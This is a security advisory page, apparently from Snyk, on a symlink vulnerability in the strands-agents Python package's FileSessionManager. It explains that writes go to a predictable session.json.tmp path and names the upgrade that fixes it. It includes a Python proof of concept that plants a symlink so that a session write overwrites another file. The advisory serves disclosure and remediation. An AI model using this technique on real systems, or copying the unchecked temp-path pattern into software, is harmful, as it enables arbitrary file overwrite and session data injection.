Symlink Attack Affecting strands-agents package, versions [,1.48.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-STRANDSAGENTS-21756828
  • published27 Oct 2026
  • disclosed27 Oct 2026
  • creditmanus-use, manusjs, Jonathan Segev

Introduced: 27 Oct 2026

CVE NOT AVAILABLE CWE-59  (opens in a new tab)

How to fix?

Upgrade strands-agents to version 1.48.0 or higher.

Overview

strands-agents is an A model-driven approach to building AI agents in just a few lines of code

Affected versions of this package are vulnerable to Symlink Attack via FileSessionManager._write_file() in file_session_manager.py, where the temporary file used during atomic writes was written to a predictable path (session.json.tmp) without checking whether that path was a symlink. An attacker with local filesystem access can place a symlink at the predictable temporary path, causing the write operation to follow the symlink and overwrite an arbitrary file writable by the victim process. The same vulnerability exists in _read_file(), where session data can be injected by symlinking a session file to an attacker-controlled path.

PoC

import os, json, tempfile, shutil

# Setup: simulate the vulnerable write pattern
session_dir = "/tmp/strands/sessions/session_test/"
os.makedirs(session_dir, exist_ok=True)

# Attacker: create symlink at the .tmp write path
target_file = "/tmp/symlink_attack_proof.txt"
with open(target_file, "w") as f:
    f.write("ORIGINAL - should not be overwritten\n")

symlink_path = os.path.join(session_dir, "session.json.tmp")
if os.path.exists(symlink_path):
    os.unlink(symlink_path)
os.symlink(target_file, symlink_path)

# Victim: FileSessionManager._write_file() equivalent
with open(symlink_path, "w", encoding="utf-8", newline="\n") as f:
    json.dump({"session_id": "test", "injected": True}, f, indent=2)

# Verify: target file overwritten
with open(target_file) as f:
    print(f"Target file content: {f.read()}")
    # Output: {"session_id": "test", "injected": true}

# Cleanup
os.unlink(symlink_path)
os.unlink(target_file)
shutil.rmtree(session_dir)

Note: The PoC simulates the vulnerable write pattern using the default /tmp/strands/sessions/ storage directory on a local filesystem.

CVSS Base Scores

version 4.0
version 3.1